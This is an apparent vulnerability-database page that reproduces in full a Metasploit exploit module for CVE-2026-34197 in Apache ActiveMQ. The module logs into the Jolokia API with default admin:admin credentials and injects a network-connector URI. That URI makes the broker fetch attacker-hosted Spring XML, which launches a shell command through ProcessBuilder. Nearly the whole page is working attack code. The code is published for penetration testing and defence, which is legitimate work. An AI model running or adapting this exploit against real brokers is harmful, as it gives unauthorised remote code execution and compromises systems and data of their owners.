METASPLOIT 8.8 HIGH

Apache ActiveMQ RCE via Jolokia addNetworkConnector_MSF:EXPLOIT-MULTI-HTTP-APACHE_ACTIVEMQ_JOLOKIA_RCE-

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/. An authenticated attacker can invoke the addNetworkConnector MBean operation with a crafted URI that causes the broker to fetch a remote Spring XML configuration over HTTP. The...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-HTTP-APACHE_ACTIVEMQ_JOLOKIA_RCE-
Published May 29, 2026 at 19:02

Affected Product

Affected Versions # frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
'Description' => %q{
Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
An authenticated attacker can invoke the addNetworkConnector() MBean
operation with a crafted URI that causes the broker to fetch a remote
Spring XML configuration over HTTP. The Spring XML instantiates a
ProcessBuilder bean that executes attacker-supplied OS commands.

Default credentials (admin:admin) are accepted by many installations.

Verified on docker image
},
'Author' => [
'dinosn', # Discovery and PoC
'h00die' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-34197'],
['URL', 'https://github.com/dinosn/CVE-2026-34197'],
['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
],
'DisclosureDate' => '2026-04-29',
'Platform' => %w[linux unix win],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Stance' => Stance::Aggressive,
'Targets' => [
['Windows', { 'Platform' => 'win' }],
['Linux', { 'Platform' => %w[linux unix] }],
['Unix', { 'Platform' => 'unix' }]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'WfsDelay' => 30
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
Opt::RPORT(8161),
OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})

return CheckCode::Unknown('No response from target') unless res
return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 401
return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200

data = res.get_json_document
return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?

agent = data.dig('value', 'agent') || 'unknown'
CheckCode::Appears("Jolokia accessible — agent version: #{agent}")
end

def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri}")

case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
else
shell = '/bin/sh'
flag = '-c'
end

xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>)

send_response(cli, xml, {
'Content-Type' => 'application/xml',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder')
end

def exploit
start_service

bname = detect_broker_name
print_status("Using broker name: #{bname}")

remove_network_connector(bname, 'NC')

# static:(...) is the network connector discovery URI.
# vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
# brokerConfig=xbean:http://... loads remote Spring XML config.
malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"

jolokia_body = {
'type' => 'exec',
'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
'operation' => 'addNetworkConnector(java.lang.String)',
'arguments' => [malicious_uri]
}.to_json

print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
vprint_status("Malicious URI: #{malicious_uri}")

# Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
# asynchronously, so the Jolokia POST often never returns a response.
# We handle the session in the handler regardless.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => 'application/json',
'data' => jolokia_body,
'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
'timeout' => 10
})

if res.nil?
print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload')
elsif res.code == 401
fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD')
elsif res.code != 200
print_warning("Unexpected HTTP status: #{res.code} — continuing anyway")
else
result = res.get_json_document
if result.empty?
print_warning('Could not parse Jolokia response — continuing anyway')
elsif result['status'] == 200
print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...')
else
print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
end
end

handler
end

private

def remove_network_connector(broker_name, connector_name)
body = {
'type' => 'exec',
'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
'operation' => 'removeNetworkConnector(java.lang.String)',
'arguments' => [connector_name]
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => 'application/json',
'data' => body,
'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
})

if res&.code == 200
vprint_status("Removed existing '#{connector_name}' network connector")
else
vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing")
end
end

def detect_broker_name
return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})

if res&.code == 200
data = res.get_json_document
if !data.empty? && data['status'] == 200 && data['value']
data['value'].each_key do |mbean|
mbean.split(',').each do |part|
next unless part.start_with?('brokerName=')

name = part.split('=', 2).last
vprint_status("Discovered broker name: #{name}")
return name
end
end
end
end

vprint_status("Could not discover broker name, using default 'localhost'")
'localhost'
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.